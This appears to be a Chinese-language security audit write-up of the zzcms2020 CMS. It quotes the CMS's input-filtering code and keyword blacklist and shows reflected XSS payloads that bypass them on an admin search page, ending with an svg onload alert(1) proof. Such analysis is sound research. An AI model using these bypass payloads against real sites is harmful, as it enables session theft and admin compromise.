目标: zzcms2020
分析:
项目是有许多入口文件, 分析了一下防护点,位于stopsqlin.php
,此处有全局过滤:
- zzcms2020/inc/stopsqlin.php [line: 20-25 ]
if($_COOKIE){
$_COOKIE =zc_check($_COOKIE);
}
if($_REQUEST){
$_POST =zc_check($_POST);
$_GET =zc_check($_GET);
@extract($_POST);
@extract($_GET);
}
在当前环境下, $_GET, $POST还被extract了一份局部变量,但是过滤之后的事情了。 可以看到此处并没有过滤$_REQUEST
,找他下手。
一开始找了一处:
- zzcms2020/reg/userregcheckemail.php [line: 14-15]
$checkcode=trim($_REQUEST["checkcode"]);
$username=nostr(trim($_REQUEST["username"]));
第一个用做逻辑判断,隐式的应该没啥用。 第二个还有一波nostr操作:
- zzcms2020/inc/stopsqlin.php [line: 27-37]
function nostr($str){
//strip_tags($str);
$sql_injdata = "',/,\,<,>,�,select";
$sql_inj = explode(",",$sql_injdata);
for ($i=0; $i< count($sql_inj);$i++){
if (@strpos($str,$sql_inj[$i])!==false){
showmsg ("含有非法字符 [".$sql_inj[$i]."] 返回重填");
}
}
return $str;//没有的返回值
}
此处过滤了一些关键逃逸符号(但好像没有过滤双引号),不知道那个问号是啥,后边还有一个select....
然后又分析了一些blablabla
在后台找到一个反射型XSS点:
- admin/special_manage.php [line: 19]
$keyword=isset($_REQUEST["keyword"])?$_REQUEST["keyword"]:'';
从语义上也能看出,这应该是一个后台的关键字搜索功能,没有过滤。如果没有token等防护,这种后台XSS也有一定的危害性。
测试payload:
输入:http://127.0.0.1/zzcms2020/admin/special_manage.php?keyword=script
输出: 无效参数
查了一下,开头在$_SERVER['REQUEST_URI']中给ban了:
- zzcms2020/inc/stopsqlin.php [line: 3-5]
if (strpos($_SERVER['REQUEST_URI'],'script')!==false || strpos($_SERVER['REQUEST_URI'],'%26%2399%26%')!==false|| strpos($_SERVER['REQUEST_URI'],'%2F%3Cobject')!==false){
die ("无效参数");//注意这里不能用js提示
}
换payload:
输入: http://127.0.0.1/zzcms2020/admin/special_manage.php?keyword=a"><img src='' onerror='alert(1)'/>
输出: 参数中含有非法字符 [or] 系统不与处理
...
竟然还有一招:
zzcms2020/inc/stopsqlin.php [line: 39-53]
//过滤指定字符,
function stopsqlin($str){
//if(!is_array($str)) {//有数组数据会传过来比如代理留言中的省份$_POST['province'][$i]
$str=strtolower($str);//否则过过滤不全
$sql_injdata = "";
$sql_injdata= $sql_injdata."|".stopwords;
$sql_injdata=CutFenGeXian($sql_injdata,"|");
$sql_inj = explode("|",$sql_injdata);
for ($i=0; $i< count($sql_inj);$i++){
if (@strpos($str,$sql_inj[$i])!==false) {showmsg ("参数中含有非法字符 [".$sql_inj[$i]."] 系统不与处理");}
}
//}
}
这里边有一个叫stopwords的黑名单:
define('stopwords','select|update|and|or|delete|insert|truncate|char|into|iframe|script') ;//网站禁用关键字
歪打正着,没想到onerror里藏着一个or...
(否则过滤不全...)
好在可以继续用on字系列...其实还是可以玩出很多花儿来的
比如payload: <svg/onload='alert(1)'/>
Ok~